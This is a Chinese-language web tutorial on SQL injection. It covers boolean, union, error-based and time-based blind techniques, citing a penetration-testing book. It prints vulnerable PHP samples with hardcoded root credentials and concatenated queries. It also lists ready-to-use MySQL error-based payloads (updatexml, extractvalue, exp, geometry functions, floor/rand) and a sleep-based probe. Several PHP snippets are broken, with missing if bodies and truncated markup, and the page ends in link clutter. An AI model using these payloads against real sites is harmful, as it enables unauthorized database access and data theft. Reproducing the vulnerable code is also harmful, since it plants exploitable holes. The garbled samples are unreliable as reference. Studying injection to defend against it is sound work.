SQL注入

sql注入是指web應用程式對使用者輸入資料的合法性沒有判斷，前端傳入後端的引數是攻擊者可控的，並且引數帶入資料庫查詢，攻擊者可以通過構造不同的sql語句來實現對資料庫的任意操作。一般情況下，開發人員可以使用動態sql語句建立通用、靈活的應用。動態sql語句是在執行過程中構造的，它根據不同的條件產生不同的sql語句。當開發人員在執行過程中需要根據不同的查詢標準決定提取什麼字段（如select語句），或者根據不同的條件懸著不同的查詢表時，動態地構造sql語句會非常有用。

下面以php語句為例

$query
="select * from users where id = $_get
['id']"
;

由於這裡的引數id可控，且帶入資料庫查詢，所以非法使用者可以任意拼接sql語句進行攻擊。

sql注入分為很多種，如盲注，報錯注入，union注入等。

不知道任何條件下：

select 要查詢的欄位名 from 庫名.表名

知道一定條件：

select 要查詢的欄位名 from 庫名.表名 where 已知條件的欄位名='已知條件的值'

在知道兩條已知條件時，語句如下：

select 要查詢的欄位名 from 庫名.表名 where 已知條件1的欄位名='已知條件1的值' and 已知條件2的欄位名='已知條件2的值'

index.php?id=5 /*!union*/ /*select*/ 1,2,3

產生條件

select * from users where id = 1'

不符合資料庫的語法規範，所以報錯，當傳入id = 1 and 1=1時，執行的sql語句如下

select * from users where id = 1 and 1 = 1

因為1=1為真，所以返回與id=1相同的結果。當傳入and 1 = 2 時，由於1=2不成立，所以返回結果與id=1時不同。據此可以初步判斷id存在sql注入漏洞。

所用**參考《web安全攻防–滲透測試實戰指南》一書

<?php
$con
=mysqli_connect
("localhost"
,"root"
,"123456"
,"test");
if(mysqli_connect_errno()
)$id
=$_get
['id'];
$result
=mysqli_query
($con
,"select * from users where 'id'="
.$id);
$row
=mysqli_fetch_array
($result);
echo
$row
['username'].
":".
$row
['address'];
echo""
;?>

當訪問id=1 union select 1,2,3時，執行的sql語句為：

select * from users where id=1 union select 1,2,3

可通過第二條語句獲取資料庫中的資料。

<?php
$con
=mysqli_connect
("localhost"
,"root"
,"123456"
,"test");
if(mysqli_connect_errno()
)$id
=$_get
['id'];
if(preg_match
("/union|sleep|benchmark/i"
,$id))
$result
=mysqli_query
($con
,"select * from users where 'id' =  '"
.$id
."'");
$row
=mysqli_fetch_array
($result);
if($row
)else
?>

當訪問id=1』 or 1=1# 時，資料庫執行的語句為

select * from users where 'id' = '1' or 1=1#

由於 or 1=1 是永真條件，所以此時返回yes。將1=1換為1=2時返回no。

' and updatemxl(1,concat(0x7e,(select database()),0x7e),1)#
' and exp(~(select * from(select flag from flag limit 0,1)a))#
' and multilinestring((select * from(select * from(select database())a)b))#
' and linestring((select * from(select * from(select user())a)b));
' and multipolygon((select * from(select * from(select user())a)b));
' and polygon((select * from(select * from(select user())a)b));
' and multipoint((select * from(select * from(select user())a)b));
' and geometrycollection((select * from(select * from(select user())a)b));
' and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

<?php
$con
=mysqli_connect
("localhost"
,"root"
,"123456"
,"test");
if(mysqli_connect_errno()
)$username
=$_get
['username'];
if($result
=mysqli_query
($con
,"select * from users where 'username'='"
.$username
."'"))
;else
?>

輸入username=1』時因為多了乙個單引號而報錯。利用這種報錯回顯，我們可以通過floor()、updatexml()等函式將要查詢的內容輸出到頁面上。

if(length(database())>1,sleep(5),1)

這句話的意思是，如果資料庫庫名的長度大於1，則mysql休眠5秒，否則查詢1。

<?php
$con
=mysqli_connect
("localhost"
,"root"
,"123456"
,"test");
if(mysqli_connect_errno()
)$id
=$_get
['id'];
if(pre_match
("/union/i"
,$id))
{exit
("no<
/body>
<
/html>

SQL注入

SQL注入（三） sql注入 bugku

SQL注入報錯注入

SQL注入報錯注入

SQL注入

SQL注入（三） sql注入 bugku

SQL注入 報錯注入

SQL注入 報錯注入

相關推薦

SQL注入報錯注入

SQL注入報錯注入